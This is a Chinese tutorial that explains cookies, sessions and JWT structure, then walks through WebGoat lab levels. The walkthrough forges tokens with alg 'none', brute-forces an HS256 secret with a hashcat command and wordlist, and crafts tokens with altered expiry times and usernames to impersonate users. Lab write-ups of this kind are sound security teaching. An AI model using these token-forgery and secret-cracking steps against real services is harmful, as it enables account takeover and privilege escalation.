邢台网站维护,平面设计网站制作,网站建设需要的技术设备,wordpress 4.0 中文主题JWT
介绍
cookie(放在浏览器)
cookie 是一个非常具体的东西#xff0c;指的就是浏览器里面能永久存储的一种数据#xff0c;仅仅是浏览器实现的一种数据存储功能。
cookie由服务器生成#xff0c;发送给浏览器#xff0c;浏览器把cookie以kv形式保存到某个目录下的文本…JWT
介绍
cookie(放在浏览器)
cookie 是一个非常具体的东西指的就是浏览器里面能永久存储的一种数据仅仅是浏览器实现的一种数据存储功能。
cookie由服务器生成发送给浏览器浏览器把cookie以kv形式保存到某个目录下的文本文件内下一次请求同一网站时会把该cookie发送给服务器。由于cookie是存在客户端上的所以浏览器加入了一些限制确保cookie不会被恶意使用同时不会占据太多磁盘空间所以每个域的cookie数量是有限的
session(放在服务器)
session 从字面上讲就是会话。这个就类似于你和一个人交谈你怎么知道当前和你交谈的是张三而不是李四呢对方肯定有某种特征长相等表明他就是张三。
session 也是类似的道理服务器要知道当前发请求给自己的是谁。为了做这种区分服务器就要给每个客户端分配不同的“身份标识”然后客户端每次向服务器发请求的时候都带上这个“身份标识”服务器就知道这个请求来自于谁了。至于客户端怎么保存这个“身份标识”可以有很多种方式对于浏览器客户端大家都默认采用 cookie 的方式。
服务器使用session把用户的信息临时保存在了服务器上用户离开网站后session会被销毁。这种用户信息存储方式相对cookie来说更安全可是session有一个缺陷如果web服务器做了负载均衡那么下一个操作请求到了另一台服务器的时候session会丢失。
token
在Web领域基于Token的身份验证随处可见。在大多数使用Web API的互联网公司中tokens 是多用户下处理认证的最佳方式。
以下几点特性会让你在程序中使用基于Token的身份验证 无状态、可扩展 支持移动设备 跨程序调用 安全
jwtjson web token JWTJSON Web Token由三部分组成头部Header、载荷Payload、签名Signature。 头部Header头部通常由两部分组成算法类型和令牌类型。 算法类型指定用于生成签名的算法例如 HMAC、RSA 或者 ECDSA。 令牌类型指定令牌的类型常见的是 JWT。 头部使用 Base64Url 编码表示并作为整个 JWT 的第一部分。头部的一个示例 { “alg”: “HS256”,none “typ”: “JWT” } 载荷Payload载荷存储了有关用户或实体的声明和其他有关信息。 声明如用户 ID、角色、权限等信息。 注册声明包含一些标准的声明比如发行人、过期时间等和一些自定义的声明。 载荷也使用 Base64Url 编码表示并作为整个 JWT 的第二部分。载荷的一个示例 { “sub”: “1234567890”, “name”: “John Doe”, “iat”: 1516239022 } 签名Signature签名是对头部和载荷进行签名的结果用于验证 JWT 的完整性和真实性。 签名生成方式将头部和载荷进行 Base64Url 编码后拼接在一起然后使用指定的加密算法如 HMAC、RSA进行签名将生成的签名添加到 JWT 中。 头部
alg
是说明这个JWT的签名使用的算法的参数常见值用HS256默认HS512等也可以为None。HS256表示HMAC SHA256。
typ
说明这个token的类型为JWT
payload 签名
服务器有一个不会发送给客户端的密码secret用头部中指定的算法对头部和声明的内容用此密码进行加密生成的字符串就是JWT的签名
通信流程 环境
使用webgoat靶场
使用以下代码拉取环境
java -jar webgoat-server-8.1.0.jar --server.port8888 --server.address10.4.7.138访问该网址进入靶场
http://10.4.7.138:8888/WebGoat/login本文打的靶场为jwt tokens 4
此处点票点到8 用户为jerry
点击垃圾桶后显示只有admin用户才可以
此处开启bp抓包
找到刚才发送的post请求包 发给repeater
可以看到这一串jwt 使用jwt.io
将刚才jwt粘贴进去
可以看到右边解码的结果 此处需要将加密方式改为noneadmin改为true
使用base64编码完成 去掉等号将结果粘过去到一起 最终使用header和payload部分包含点
ewogICJhbGciOiAibm9uZSIKfQ.ewogICJpYXQiOiAxNzAyODg5MDQ3LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJKZXJyeSIKfQ.替换bp中原始部分
发包即可成功 回到网页重新看一下发现操作完成变成1 5
将它提供的jwt放进去看看 将jwt写入一个文本文件
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTcwMjAyNjAwNywiZXhwIjoxNzAyMDI2MDY3LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19另一个为字典文件
victory
secret1
business
washington然后使用工具进行爆破
hashcat -m 16500 2.txt -a 3 -w 2 1.txt --force其中 -m 16500 这里的16500对应的就是jwt的token爆破 -a 3 代表蛮力破解 -w 3 可以理解为高速破解就是会让桌面进程无响应的那种高速 2.txt为jwt 1.txt为字典 爆破得到密钥 修改截至时间和username 然后粘贴过去再将密钥换成刚刚爆破出来的
最后得到
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTcwMjAyNzkwNywiZXhwIjoxNzAyMDMzNTUwLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6InRvbUB3ZWJnb2F0Lm9yZyIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ.3IMBgQVgvJzL1m7nE3XLXdfF--ja1ouXcjLNdKqvw5g然后提交jwt即可 7 第七关要求以tom的身份付款
并且给了日志信息提示可以看到jwt 粘贴过来可得 会发现这个到期时间已经过期了 这个时间格式是unix纪元时间
使用在线工具获取现在的时间戳然后base64 eyJhbGciOiJIUzUxMiJ9.ewogICJpYXQiOiAxNTI2MTMxNDExLAogICJleHAiOiAxNzAyMDI2MzYxLAogICJhZG1pbiI6ICJmYWxzZSIsCiAgInVzZXIiOiAiVG9tIgp9.将该字段的值更改为新的jwt过后即可完成